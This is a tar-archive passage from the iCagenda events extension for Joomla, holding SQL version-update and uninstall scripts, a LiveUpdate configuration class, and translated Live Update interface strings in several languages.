com_icagenda/sql/updates/3.3.sql000060400000000117152455305300012422 0ustar00UPDATE `#__icagenda` SET version='3.3.0', releasedate='2014-03-06' WHERE id=3;
com_icagenda/sql/updates/2.1.6.sql000060400000000117152455305300012563 0ustar00UPDATE `#__icagenda` SET version='2.1.6', releasedate='2013-04-12' WHERE id=1;
com_icagenda/sql/updates/3.4.sql000060400000003405152455305300012426 0ustar00UPDATE `#__icagenda` SET version='3.4', releasedate='2014-07-03' WHERE id=3;

ALTER TABLE `#__icagenda_customfields` ADD COLUMN `description` VARCHAR(255) NOT NULL DEFAULT '' AFTER `slug`;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_customfields_data`
--

CREATE TABLE IF NOT EXISTS `#__icagenda_customfields_data` (
  `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT,
  `state` TINYINT(1) NOT NULL DEFAULT '1',
  `slug` VARCHAR(255) NOT NULL,
  `parent_form` INT(11) NOT NULL DEFAULT '0',
  `parent_id` INT(11) NOT NULL DEFAULT '0',
  `value` VARCHAR(255) NOT NULL,
  `language` varchar(10) NOT NULL DEFAULT '*',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=0 DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_feature`
--

CREATE TABLE IF NOT EXISTS  `#__icagenda_feature` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `ordering` int(11) NOT NULL,
  `state` tinyint(1) NOT NULL DEFAULT '1',
  `checked_out` int(11) NOT NULL,
  `checked_out_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `desc` mediumtext NOT NULL,
  `icon` varchar(255) NOT NULL,
  `icon_alt` varchar(255) NOT NULL,
  `show_filter` tinyint(1) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;

-- --------------------------------------------------------

--
-- Table structure for table `#__icagenda_feature_xref`
--

CREATE TABLE IF NOT EXISTS  `#__icagenda_feature_xref` (
  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
  `event_id` int(11) NOT NULL,
  `feature_id` int(11) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT COLLATE=utf8_general_ci;
com_icagenda/sql/updates/2.1.1.sql000060400000000117152455305300012556 0ustar00UPDATE `#__icagenda` SET version='2.1.1', releasedate='2013-03-14' WHERE id=1;
com_icagenda/sql/updates/3.2.1.sql000060400000000117152455305300012560 0ustar00UPDATE `#__icagenda` SET version='3.2.1', releasedate='2013-10-07' WHERE id=2;
com_icagenda/sql/updates/3.5.5.sql000060400000000117152455305300012567 0ustar00UPDATE `#__icagenda` SET version='3.5.5', releasedate='2015-04-27' WHERE id=3;
com_icagenda/sql/updates/3.2.8.sql000060400000000117152455305300012567 0ustar00UPDATE `#__icagenda` SET version='3.2.8', releasedate='2013-12-15' WHERE id=2;
com_icagenda/sql/updates/2.1.8.sql000060400000000117152455305300012565 0ustar00UPDATE `#__icagenda` SET version='2.1.8', releasedate='2013-04-30' WHERE id=1;
com_icagenda/sql/updates/3.5.2.sql000060400000000117152455305300012564 0ustar00UPDATE `#__icagenda` SET version='3.5.2', releasedate='2015-03-13' WHERE id=3;
com_icagenda/sql/updates/1.1.3.sql000060400000000065152455305300012561 0ustar00UPDATE `#__icagenda` SET version='1.1.3' WHERE id=1;
com_icagenda/sql/updates/3.2.0.2.sql000060400000000123152455305300012714 0ustar00UPDATE `#__icagenda` SET version='3.2.0 RC2', releasedate='2013-09-22' WHERE id=2;
com_icagenda/sql/updates/1.3.0.1.8.sql000060400000000256152455305300013067 0ustar00UPDATE `#__icagenda` SET version='1.3 beta4', releasedate='2012-12-24' WHERE id=1;

ALTER TABLE `#__icagenda_events` ADD COLUMN `country` VARCHAR(255) NOT NULL AFTER `city`;
com_icagenda/sql/updates/1.1.4.sql000060400000000065152455305300012562 0ustar00UPDATE `#__icagenda` SET version='1.1.4' WHERE id=1;
com_icagenda/sql/updates/1.3.0.1.6.sql000060400000000123152455305300013056 0ustar00UPDATE `#__icagenda` SET version='1.3 beta2', releasedate='2012-12-15' WHERE id=1;
com_icagenda/sql/updates/1.2.sql000060400000000063152455305300012417 0ustar00UPDATE `#__icagenda` SET version='1.2' WHERE id=1;
com_icagenda/sql/updates/2.0.6.2.sql000060400000000270152455305300012722 0ustar00UPDATE `#__icagenda` SET version='2.1 beta', releasedate='2013-02-22' WHERE id=1;

ALTER TABLE `#__icagenda_events` ADD COLUMN `displaytime` INT(10) NOT NULL DEFAULT '1' AFTER `file`;
com_icagenda/sql/updates/1.3.0.1.1.sql000060400000000262152455305300013055 0ustar00UPDATE `#__icagenda` SET version='1.3 beta1', releasedate='2012-10-28' WHERE id=1;

ALTER TABLE `#__icagenda_events` ADD COLUMN `registration` TINYINT(1)  NOT NULL DEFAULT '1';

com_icagenda/sql/updates/3.1.1.sql000060400000000117152455305300012557 0ustar00UPDATE `#__icagenda` SET version='3.1.1', releasedate='2013-07-29' WHERE id=2;
com_icagenda/sql/updates/3.1.6.sql000060400000000117152455305300012564 0ustar00UPDATE `#__icagenda` SET version='3.1.6', releasedate='2013-08-20' WHERE id=2;
com_icagenda/sql/updates/2.1.12.sql000060400000000120152455305300012632 0ustar00UPDATE `#__icagenda` SET version='2.1.12', releasedate='2013-05-21' WHERE id=1;
com_icagenda/sql/updates/3.1.13.sql000060400000000120152455305300012634 0ustar00UPDATE `#__icagenda` SET version='3.1.13', releasedate='2013-09-20' WHERE id=2;
com_icagenda/sql/updates/3.1.8.sql000060400000000117152455305300012566 0ustar00UPDATE `#__icagenda` SET version='3.1.8', releasedate='2013-08-30' WHERE id=2;
com_icagenda/sql/updates/3.2.10.sql000060400000000120152455305300012632 0ustar00UPDATE `#__icagenda` SET version='3.2.10', releasedate='2014-01-03' WHERE id=2;
com_icagenda/sql/updates/1.2.4.sql000060400000000065152455305300012563 0ustar00UPDATE `#__icagenda` SET version='1.2.4' WHERE id=1;
com_icagenda/sql/updates/1.2.3.sql000060400000000065152455305300012562 0ustar00UPDATE `#__icagenda` SET version='1.2.3' WHERE id=1;
com_icagenda/sql/updates/3.5.12.sql000060400000000120152455305300012637 0ustar00UPDATE `#__icagenda` SET version='3.5.12', releasedate='2015-10-12' WHERE id=3;
com_icagenda/sql/updates/3.3.7.sql000060400000000117152455305300012567 0ustar00UPDATE `#__icagenda` SET version='3.3.7', releasedate='2014-05-29' WHERE id=3;
com_icagenda/sql/updates/3.0.1.sql000060400000000117152455305300012556 0ustar00UPDATE `#__icagenda` SET version='3.0.1', releasedate='2013-07-04' WHERE id=2;
com_icagenda/sql/updates/1.3.0.1.7.sql000060400000000123152455305300013057 0ustar00UPDATE `#__icagenda` SET version='1.3 beta3', releasedate='2012-12-16' WHERE id=1;
com_icagenda/sql/updates/1.3.sql000060400000000115152455305300012416 0ustar00UPDATE `#__icagenda` SET version='1.3', releasedate='2012-10-19' WHERE id=1;
com_icagenda/sql/updates/1.3.0.1.9.sql000060400000000247152455305300013070 0ustar00UPDATE `#__icagenda` SET version='1.3 beta4', releasedate='2012-12-28' WHERE id=1;

ALTER TABLE `#__icagenda_registration` MODIFY COLUMN `date` TEXT(65535)  NOT NULL;
com_icagenda/sql/updates/3.2.0.4.sql000060400000000123152455305300012716 0ustar00UPDATE `#__icagenda` SET version='3.2.0 RC4', releasedate='2013-10-04' WHERE id=2;
com_icagenda/sql/updates/1.1.2.sql000060400000000065152455305300012560 0ustar00UPDATE `#__icagenda` SET version='1.1.2' WHERE id=1;
com_icagenda/sql/updates/3.2.0.3.sql000060400000000123152455305300012715 0ustar00UPDATE `#__icagenda` SET version='3.2.0 RC3', releasedate='2013-09-26' WHERE id=2;
com_icagenda/sql/updates/3.2.9.sql000060400000000117152455305300012570 0ustar00UPDATE `#__icagenda` SET version='3.2.9', releasedate='2013-12-28' WHERE id=2;
com_icagenda/sql/updates/2.1.9.sql000060400000000117152455305300012566 0ustar00UPDATE `#__icagenda` SET version='2.1.9', releasedate='2013-05-03' WHERE id=1;
com_icagenda/sql/updates/3.5.3.sql000060400000000117152455305300012565 0ustar00UPDATE `#__icagenda` SET version='3.5.3', releasedate='2015-03-25' WHERE id=3;
com_icagenda/sql/updates/3.5.4.sql000060400000000117152455305300012566 0ustar00UPDATE `#__icagenda` SET version='3.5.4', releasedate='2015-04-24' WHERE id=3;
com_icagenda/sql/updates/3.2.0.sql000060400000000272152455305300012561 0ustar00UPDATE `#__icagenda` SET version='3.2.0', releasedate='2013-09-20' WHERE id=2;

ALTER TABLE `#__icagenda_events` ADD COLUMN `daystime` VARCHAR(255) NOT NULL DEFAULT '' AFTER `weekdays`;
com_icagenda/sql/updates/3.2.7.sql000060400000000117152455305300012566 0ustar00UPDATE `#__icagenda` SET version='3.2.7', releasedate='2013-11-23' WHERE id=2;
com_icagenda/sql/updates/3.2.sql000060400000000115152455305300012417 0ustar00UPDATE `#__icagenda` SET version='3.2', releasedate='2013-09-20' WHERE id=2;
com_icagenda/sql/updates/2.1.7.sql000060400000000547152455305300012573 0ustar00UPDATE `#__icagenda` SET version='2.1.7', releasedate='2013-04-29' WHERE id=1;

ALTER TABLE `#__icagenda_events` ADD COLUMN `language` CHAR(7) NOT NULL AFTER `access`;

ALTER TABLE `#__icagenda_events` ADD COLUMN `lng` FLOAT( 20, 16 ) NOT NULL AFTER `coordinate`;
ALTER TABLE `#__icagenda_events` ADD COLUMN `lat` FLOAT( 20, 16 ) NOT NULL AFTER `coordinate`;
com_icagenda/sql/uninstall/mysql/icagenda.uninstall.sql000060400000001015152455305300017371 0ustar00--
-- iCagenda: Uninstall Database `icagenda`
--

-- --------------------------------------------------------

DROP TABLE IF EXISTS `#__icagenda`;
DROP TABLE IF EXISTS `#__icagenda_category`;
DROP TABLE IF EXISTS `#__icagenda_events`;
DROP TABLE IF EXISTS `#__icagenda_registration`;
DROP TABLE IF EXISTS `#__icagenda_customfields`;
DROP TABLE IF EXISTS `#__icagenda_customfields_data`;
DROP TABLE IF EXISTS `#__icagenda_feature`;
DROP TABLE IF EXISTS `#__icagenda_feature_xref`;
DROP TABLE IF EXISTS `#__icagenda_location`;
com_icagenda/liveupdate/config.php000060400000002657152455305300013265 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 *
 * @package LiveUpdate 2.1.5
 * @copyright Copyright ©2011-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
 * @license GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>
 *
 * @version     3.4.0 2014-07-16
 * @since       1.2.6
 *
 * CHANGED (3.3.6) : _versionStrategy set to 'vcompare'
 * CHANGED (3.4.0) : Removal of updateURL (set with getUpdateURL depending on getMinimumStability)
 */

defined('_JEXEC') or die();

/**
 * Configuration class for your extension's updates.
 */
class LiveUpdateConfig extends LiveUpdateAbstractConfig
{
	var $_extensionName			= 'com_icagenda';
	var $_extensionTitle		= 'iCagenda PRO Release System';
//	var $_updateURL				= 'http://pro.joomlic.com/index.php?option=com_ars&view=update&format=ini&id=1';
	var $_requiresAuthorization	= true;
	var $_versionStrategy		= 'vcompare';
	var $_storageAdapter		= 'file';
	var $_storageConfig = array('path' => JPATH_CACHE);

	public function __construct()
	{
		JLoader::import('joomla.filesystem.file');

		// Should I use our private CA store?
		if (@file_exists(dirname(__FILE__).'/../assets/cacert.pem'))
		{
			$this->_cacerts = dirname(__FILE__).'/../assets/cacert.pem';
		}

		parent::__construct();
	}
}
com_icagenda/liveupdate/language/cs-CZ/cs-CZ.liveupdate.ini000060400000010142152455305300017556 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Aktualizace"

LIVEUPDATE_NOTSUPPORTED_HEAD="Tento server nepodporuje kontrolu aktualizací"
LIVEUPDATE_NOTSUPPORTED_INFO="Nastavení Vašeho serveru nedovoluje spustit aktualizaci. Kontaktujte prosím provozovatele serveru a požádejte ho o zprovoznění PHP rozšíření cUrl nebo o povolení možnosti allow_url_fopen. Pokud je jedna z těchto možností již povolena, požádejte o prověření nastavení firewall, zda je povolena komunikace s následující adresou URL:"
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Aktualizaci rozšíření <var>%s</var> můžete provést ručně, stažením nejnovější verze z našich stránek a instalací ve správci rozšíření."

LIVEUPDATE_STUCK_HEAD="Poslední pokus o získání aktualizace se nezdařil"
LIVEUPDATE_STUCK_INFO="Poslední pokus o komunikaci se serverem aktualizací se nezdařil. Obvykle je to způsobeno nastavením serveru, které neumožňuje komunikaci s jinými servery. Pro opětovný pokus získání informací o aktualizacích stiskněte tlačítko "_QQ_"Aktualizovat informace"_QQ_". Pokud se Vám po stisknutí tohoto tlačítka zobrazí prázdná bílá stránka, kontaktujte prosím provozovatele serveru."

LIVEUPDATE_ERROR_NEEDSAUTH="Tato aktualizace vyžaduje vyplněné Přihlašovací jméno a Heslo, nebo Klientské ID (Download ID) v nastavení komponenty. Po vyplnění potřebných informací bude povoleno tlačítko Aktualizovat."
LIVEUPDATE_HASUPDATES_HEAD="Je k dispozici nová verze"
LIVEUPDATE_NOUPDATES_HEAD="Instalovaná verze je aktuální"
LIVEUPDATE_CURRENTVERSION="Instalovaná verze"
LIVEUPDATE_LATESTVERSION="Nejnovější verze"
LIVEUPDATE_LATESTRELEASED="Datum nejnovější verze"
LIVEUPDATE_DOWNLOADURL="Adresa pro ruční stažení"

LIVEUPDATE_REFRESH_INFO="Najít aktualizace"
LIVEUPDATE_DO_UPDATE="Aktualizovat"

LIVEUPDATE_FTP_REQUIRED="Pro dokončení instalace na Vašem serveru je nutné využít vrstvu FTP, v globálním nastavení Joomla! však nejsou vyplněny všechna potřebná nastavení.<br/><br/>Vyplňte prosím informace pro připojení k serveru FTP níže."
LIVEUPDATE_FTP="Nastavení FTP"
LIVEUPDATE_FTPUSERNAME="FTP Přihlašovací jméno"
LIVEUPDATE_FTPPASSWORD="FTP Heslo"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Stáhnout a nainstalovat aktualizaci"

LIVEUPDATE_DOWNLOAD_FAILED="Nepodařilo se stáhnout aktualizační balíček. Ověřte prosím, zda je Vaše dočasná složka zapisovatelná, nebo zda máte povolenu Vrstvu FTP v globálním nastavení Joomla!."
LIVEUPDATE_EXTRACT_FAILED="Nepodařilo se rozbalit aktualizační balíček. Zkuste prosím rozšíření aktualizovat ručně."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Nebyl rozpoznán formát aktualizačního balíčku. V aktualizaci nelze pokračovat."
LIVEUPDATE_INSTALLEXT="Instalovat %s %s"
LIVEUPDATE_ERROR="Chyba"
LIVEUPDATE_SUCCESS="Dokončeno"

LIVEUPDATE_ICON_UNSUPPORTED="Aktualizace není podporována"
LIVEUPDATE_ICON_CRASHED="Aktualizace skončila chybou"
LIVEUPDATE_ICON_CURRENT="Vaše verze je aktuální"
LIVEUPDATE_ICON_UPDATES="NALEZENA NOVÁ VERZE! AKTUALIZOVAT"

LIVEUPDATE_RELEASEINFO="Informace"
LIVEUPDATE_RELEASENOTES="Poznámky k verzi"
LIVEUPDATE_READMOREINFO="Podrobnosti"

LIVEUPDATE_NAGSCREEN_HEAD="UPOZORNĚNÍ! Chystáte se instalovat nestabilní verzi."
LIVEUPDATE_NAGSCREEN_BODY="Chystáte se instalovat nestabilní verzi (%s - %s). Nestabilní verze jsou minimálně, nebo nejsou vůbec testovány a mohou obsahovat chyby, ovlivňující stabilitu a funkčnost Vašich stránek. Pokud si nejste jisti tím co děláte, uzavřete prosím okno prohlížeče. Pokud jste si naprosto jisti a rozumíte rizikům spojeným s instalací nestabilní verze, klikněte na tlačítko níže pro pokračování v instalaci této nestabilní verze."
LIVEUPDATE_NAGSCREEN_BUTTON="Rozumím rizikům. Pokračovat v instalaci."

LIVEUPDATE_STABILITY_ALPHA="Alfa"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Stable"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/ru-RU/ru-RU.liveupdate.ini000060400000014026152455305300017651 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление"

LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере"
LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к Вашему хостеру и попросите его разрешить CURL расширение для PHP или включить функцию URL FOPEN(). Если они уже включены, пожалуйста, попросите его настроить их сетевой экран так, чтобы она позволяла получить доступ к следующему адресу:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить <var>%s</var> посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!."

LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку"
LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если Вы желаете снова получить информацию об обновлении, пожалуйста, нажмите кнопку "_QQ_"Освежить информацию об обновлении"_QQ_" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с Вашим хостером и сообщите об этой проблеме."

LIVEUPDATE_ERROR_NEEDSAUTH="Перед попыткой обновления до последней версии, Вы должны ввести Ваше имя пользователя/пароль или ID загрузки в параметры компонента. Кнопка обновления будет оставаться неактивной, пока Вы этого не сделаете."
LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия"
LIVEUPDATE_NOUPDATES_HEAD="У Вас уже установлена последняя версия"
LIVEUPDATE_CURRENTVERSION="Установленная версия"
LIVEUPDATE_LATESTVERSION="Последняя версия"
LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии"
LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки"

LIVEUPDATE_REFRESH_INFO="Освежить информацию об обновлении"
LIVEUPDATE_DO_UPDATE="Обновить до последней версии"

LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но Вы не сохранили данные для авторизации на FTP в общих настройках Joomla!.<br/><br/>Просьба ввести свое имя пользователя и пароль FTP для продолжения обновления."
LIVEUPDATE_FTP="Информация FTP"
LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP"
LIVEUPDATE_FTPPASSWORD="Пароль пользователя FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление"

LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что Вы включили и настроили FTP в общих настройках Joomla!."
LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться."
LIVEUPDATE_INSTALLEXT="Установлено %s %s"
LIVEUPDATE_ERROR="Ошибка"
LIVEUPDATE_SUCCESS="Успешно"

LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается"
LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не удалось!"
LIVEUPDATE_ICON_CURRENT="У Вас последняя версия"
LIVEUPDATE_ICON_UPDATES="НАЙДЕНА НОВАЯ ВЕРСИЯ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ."

; LIVEUPDATE_RELEASEINFO="Information"
; LIVEUPDATE_RELEASENOTES="Release notes"
; LIVEUPDATE_READMOREINFO="Read more"

; LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
; LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation."

; LIVEUPDATE_STABILITY_ALPHA="Alpha"
; LIVEUPDATE_STABILITY_BETA="Beta"
; LIVEUPDATE_STABILITY_RC="RC"
; LIVEUPDATE_STABILITY_STABLE="Stable"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/es-ES/es-ES.liveupdate.ini000060400000011337152455305300017557 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

LIVEUPDATE_TASK_OVERVIEW="Actualización automática"

LIVEUPDATE_NOTSUPPORTED_HEAD="Este servidor no soporta la Actualización automática"
LIVEUPDATE_NOTSUPPORTED_INFO="Su servidor indica que no soporta la Actualización automática. Por favor, contacte con su proveedor de hosting y pídale que active la función cURL de PHP, o bien que active los wrappers de URL fopen(). Si alguna de las opciones anteriores ya está activada, por favor pídale que que configure su cortafuegos de manera que permita el acceso a la siguiente URL:"_QQ_""
LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Siempre puede actualizar <var>%s</var> manualmente visitando nuestro sitio, descargando la última versión e instalándola mediante el instalador del gestor de extensiones de Joomla!"_QQ_""

LIVEUPDATE_STUCK_HEAD="La actualización automática informa de un fallo"
LIVEUPDATE_STUCK_INFO="La actualización automática determinó que hubo un fallo la última vez que intentó contactar con el servidor de actualizaciones. Esto habitualmente ocurre cuando un host bloquea activamente las comunicaciones con sitios externos. Si desea trata de obtener de nuevo la información sobre nuevas actualizaciones, por favor haga clic en el botón "_QQ_"Refrescar la información sobre actualizaciones"_QQ_" que hay a continuación. Si tras hacerlo obtiene una página en blanco, por favor contacte con su proveedor de hosting y coméntele el problema."

LIVEUPDATE_ERROR_NEEDSAUTH="Debe introducir su nombre de usuario/contraseña su ID de Descarga (Download ID) en los parámetros de configuración del componente antes de intentar actualizar a la última versión. El botón de actualización permanecerá deshabilitado hasta que lo haga."
LIVEUPDATE_HASUPDATES_HEAD="Hay disponible una nueva versión"
LIVEUPDATE_NOUPDATES_HEAD="Ya tiene instalada la última vesión"
LIVEUPDATE_CURRENTVERSION="Versión instalada"
LIVEUPDATE_LATESTVERSION="Última versión"
LIVEUPDATE_LATESTRELEASED="Fecha de la última versión"
LIVEUPDATE_DOWNLOADURL="URL de descarga directa"

LIVEUPDATE_REFRESH_INFO="Refrescar la información de actualización"
LIVEUPDATE_DO_UPDATE="Actualizar a la última versión"

LIVEUPDATE_FTP_REQUIRED="La actualización automática determinó que es necesario usar FTP para poder descargar e instalar su actualización, pero usted aún no ha guardado la información de inicio de sesión FTP en la configuración global de Joomla!.<br/><br/>Por favor introduzca el nombre de usuario y la contraseña de su cuenta FTP a continuación para proceder con la actualización."
LIVEUPDATE_FTP="Información FTP"
LIVEUPDATE_FTPUSERNAME="Usuario FTP"
LIVEUPDATE_FTPPASSWORD="Contraseña FTP"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="Descargar e instalar la actualización"

LIVEUPDATE_DOWNLOAD_FAILED="La descarga del paquete de actualización no se pudo completar. Asegúrese de que su directorio temporal (temp) tiene permisos de escritura o de que ha habilitado la configuración de FTP en la configuración global de su sitio."
LIVEUPDATE_EXTRACT_FAILED="La extracción de los archivos del paquete de actualización falló. Por favor, trate de actualizar la extensión manualmente."

LIVEUPDATE_INVALID_PACKAGE_TYPE="Tipo de paquete erróneo. No se puede proceder con la actualización."
LIVEUPDATE_INSTALLEXT="Instalando %s %s"
LIVEUPDATE_ERROR="Error"
LIVEUPDATE_SUCCESS="Éxito"

LIVEUPDATE_ICON_UNSUPPORTED="La actualización automática no está soportada"
LIVEUPDATE_ICON_CRASHED="La actualización automática falló"
LIVEUPDATE_ICON_CURRENT="Ya tiene la última versión"
LIVEUPDATE_ICON_UPDATES="¡ACTUALIZACIÓN DISPONIBLE! CLIC PARA INSTALAR."

LIVEUPDATE_RELEASEINFO="Información"
LIVEUPDATE_RELEASENOTES="Notas de la versión"
LIVEUPDATE_READMOREINFO="Leer más"

LIVEUPDATE_NAGSCREEN_HEAD="ATENCIÓN! Usted está a punto de instalar una versión inestable."
LIVEUPDATE_NAGSCREEN_BODY="Usted está a punto de instalar una versión inestable (%s - %s). Las versiones inestables pueden tener mínimos o ningún test y contener errores que pueden causar serios problemas a la estabilidad y funcionalidad de su sitio web. Si usted no está seguro sobre qué hacer, por favor cierre esta ventana del explorador. Si usted está totalmente seguro de entender los riesgos involucrados con la instalación de versiones inestables, por favor pulse el botón de abajo para continuar con la instalación de esta versión inestable."
LIVEUPDATE_NAGSCREEN_BUTTON="Entiendo los riesgos. Continuar con la instalación"

LIVEUPDATE_STABILITY_ALPHA="Alfa"
LIVEUPDATE_STABILITY_BETA="Beta"
LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="Estable"
LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/bg-BG/bg-BG.liveupdate.ini000060400000011123152455305300017454 0ustar00; Akeeba Live Update
; Copyright (c)2010-2013 Nicholas K. Dionysopoulos / AkeebaBackup.com
; Licensed under the GNU LGPLv3 or later <http://www.gnu.org/copyleft/lesser.html>

; LIVEUPDATE_TASK_OVERVIEW="Live Update"

; LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server"
; LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"
; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update <var>%s</var> by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer."

; LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed"
; LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "_QQ_"Refresh update information"_QQ_" button below. If that results to a blank page, please contact your host and report this issue."

; LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that."
; LIVEUPDATE_HASUPDATES_HEAD="A new version is available"
; LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version"
LIVEUPDATE_CURRENTVERSION="инсталирана версия"
LIVEUPDATE_LATESTVERSION="последна налична версия"
; LIVEUPDATE_LATESTRELEASED="Latest release date"
LIVEUPDATE_DOWNLOADURL="директно сваляне от URL адрес"

LIVEUPDATE_REFRESH_INFO="актуализиране на информация за актуализацията"
LIVEUPDATE_DO_UPDATE="актуализиране към последната налична версия"

; LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.<br/><br/>Please provide the FTP username and password below to proceed with the update."
LIVEUPDATE_FTP="FTP информация"
LIVEUPDATE_FTPUSERNAME="FTP потребителско име"
LIVEUPDATE_FTPPASSWORD="FTP парола"
LIVEUPDATE_DOWNLOAD_AND_INSTALL="изтегли и инсталирай актуализацията"

; LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration."
; LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually."

; LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed."
LIVEUPDATE_INSTALLEXT="инсталирайте %s %s"
LIVEUPDATE_ERROR="грешка"
LIVEUPDATE_SUCCESS="успех"

; LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported"
; LIVEUPDATE_ICON_CRASHED="Live Update crashed"
LIVEUPDATE_ICON_CURRENT="Вие имате последната версия"
LIVEUPDATE_ICON_UPDATES="НАМЕРЕНА Е АКТУАЛИЗАЦИЯ! ЩРАКНЕТЕ, ЗА ДА АКТУАЛИЗИРАТЕ."

LIVEUPDATE_RELEASEINFO="информация"
; LIVEUPDATE_RELEASENOTES="Release notes"
LIVEUPDATE_READMOREINFO="прочети още"

LIVEUPDATE_NAGSCREEN_HEAD="ПРЕДУПРЕЖДЕНИЕ! Вие се опитвате да инсталирате нестабилна версия."
; LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release."
LIVEUPDATE_NAGSCREEN_BUTTON="разбирам какви са възможните рискове. Продължи с инсталацията."

LIVEUPDATE_STABILITY_ALPHA="алфа версия"
LIVEUPDATE_STABILITY_BETA="бета версия"
; LIVEUPDATE_STABILITY_RC="RC"
LIVEUPDATE_STABILITY_STABLE="стабилна версия"
; LIVEUPDATE_STABILITY_SVN="SVN"com_icagenda/liveupdate/language/it-IT/it-IT.liveupdate.ini000060400000011004152455305300017572 0ustar00; Akeeba Live Update
